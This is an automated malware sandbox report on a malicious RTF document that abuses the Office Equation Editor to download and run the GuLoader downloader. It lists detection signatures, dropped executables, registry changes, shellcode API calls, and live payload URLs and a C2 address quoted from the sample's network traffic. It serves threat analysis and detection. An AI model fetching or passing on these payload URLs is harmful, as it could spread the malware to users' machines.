Windows Analysis Report
SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.1904

Overview

General Information

Sample Name: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.1904 (renamed file extension from 1904 to rtf)
Analysis ID: 634396
MD5: 79b069c9ad93309ee526ce5fa70e535e
SHA1: c04be61d6e0971cb8543d7dc0930f613252adc72
SHA256: 604f8b6cb27fc3e83849c6afa3bc2736ef58dc7f00ec4d9eaf3834321d251572
Tags: rtf
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Drops PE files to the user root directory
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Stores large binary data to the registry
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
PE file contains executable resources (Code or Archives)
Abnormal high CPU Usage
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Binary contains a suspicious time stamp
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.1262023853.0000000003780000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://pet-vr.net/.tmb/cache/bin_oWBLdyptAp56.bin"}
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf ReversingLabs: Detection: 22%
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4264E978-4468-4FBA-B78A-8460C16E076C}.tmp Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\Pc07.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\Pc07.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 69.49.231.213 Port: 443 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Users\Public\Pc07.exe Registry value created: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Hardheartedly12 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 69.49.231.213:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: Binary string: System.Runtime.CompilerServices.VisualC.ni.pdb source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdb source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdbRSDS source: System.Runtime.CompilerServices.VisualC.dll.4.dr
Source: Binary string: d:\build\ob\bora-18379147\bora-vmsoft\build\release-x64\svga\wddm\src\coinstaller\Win8Release\x64\bin\vm3dc003.pdb source: vm3dc003.dll.4.dr
Source: C:\Users\Public\Pc07.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\Pc07.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A0658 LoadLibraryW,URLDownloadToFileW, 2_2_036A0658
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A06DF URLDownloadToFileW, 2_2_036A06DF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A072A WinExec,ExitProcess, 2_2_036A072A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A05E6 LoadLibraryW,URLDownloadToFileW, 2_2_036A05E6
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A0672 URLDownloadToFileW, 2_2_036A0672
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A074A ExitProcess, 2_2_036A074A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A05CA LoadLibraryW,URLDownloadToFileW, 2_2_036A05CA
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A05B1 ExitProcess, 2_2_036A05B1
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: gingthysyllenesliopa.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 69.49.231.213:443
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 69.49.231.213:443

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://pet-vr.net/.tmb/cache/bin_oWBLdyptAp56.bin
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /a1/mitra.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: gingthysyllenesliopa.comConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: vm3dc003.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: vm3dc003.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vm3dc003.dll.4.dr String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Pc07.exe, 00000004.00000000.910633975.000000000040A000.00000008.00000001.01000000.00000004.sdmp, Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, Pc07.exe.2.dr, mitra[1].exe.2.dr, uninstalla.exe.4.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: vm3dc003.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vm3dc003.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0L
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://s2.symcb.com0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://sv.symcd.com0&
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vm3dc003.dll.4.dr String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://www.symauth.com/cps0(
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://www.symauth.com/rpa00
Source: vm3dc003.dll.4.dr String found in binary or memory: http://www.vmware.com/0
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: http://www.vmware.com/0/
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: https://d.symcb.com/cps0%
Source: Pc07.exe, 00000004.00000002.1261905882.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vm3dc003.dll.4.dr String found in binary or memory: https://d.symcb.com/rpa0
Source: EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gingthysyllenesliopa.com/
Source: EQNEDT32.EXE, 00000002.00000002.977700839.00000000005DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gingthysyllenesliopa.com/a1/mitra.exeW
Source: EQNEDT32.EXE, 00000002.00000002.977700839.00000000005DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gingthysyllenesliopa.com/a1/mitra.exeicX
Source: EQNEDT32.EXE, 00000002.00000002.977936561.00000000036A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gingthysyllenesliopa.com/a1/mitra.exej
Source: EQNEDT32.EXE, 00000002.00000002.977700839.00000000005DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gingthysyllenesliopa.com/a1/mitra.exejjC:
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr String found in binary or memory: https://github.com/dotnet/runtime
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr String found in binary or memory: https://github.com/dotnet/runtimeBSJB
Source: EQNEDT32.EXE, 00000002.00000002.977826088.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.977865282.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976993125.0000000000622000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.976907119.0000000000678000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: vm3dc003.dll.4.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: vm3dc003.dll.4.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C0C1D6A3-6F2A-443A-9B77-F4A1B9FF854F}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: gingthysyllenesliopa.com
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036A0658 LoadLibraryW,URLDownloadToFileW, 2_2_036A0658
Source: global traffic HTTP traffic detected: GET /a1/mitra.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: gingthysyllenesliopa.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 69.49.231.213:443 -> 192.168.2.22:49171 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\Public\Pc07.exe Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056DE

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\Pc07.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mitra[1].exe Jump to dropped file
Yara signature match
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Detected potential crypto function
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040755C 4_2_0040755C
Source: C:\Users\Public\Pc07.exe Code function: 4_2_00406D85 4_2_00406D85
Source: C:\Users\Public\Pc07.exe Code function: 4_2_73E61BFF 4_2_73E61BFF
PE file contains executable resources (Code or Archives)
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Abnormal high CPU Usage
Source: C:\Users\Public\Pc07.exe Process Stats: CPU usage > 98%
PE file does not import any functions
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr Static PE information: No import functions for PE file found
PE file contains strange resources
Source: mitra[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mitra[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mitra[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Pc07.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Pc07.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Pc07.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uninstalla.exe.4.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\Pc07.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\Pc07.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf ReversingLabs: Detection: 22%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\Pc07.exe C:\Users\Public\Pc07.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\Pc07.exe C:\Users\Public\Pc07.exe Jump to behavior
Source: C:\Users\Public\Pc07.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$curiteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR5C52.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winRTF@4/21@1/1
Source: C:\Users\Public\Pc07.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\Pc07.exe Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_0040498A
Source: C:\Users\Public\Pc07.exe File written: C:\Users\user\AppData\Local\Temp\Exolve.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Users\Public\Pc07.exe Registry value created: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Hardheartedly12 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.64.25308.rtf Static file information: File size 1880657 > 1048576
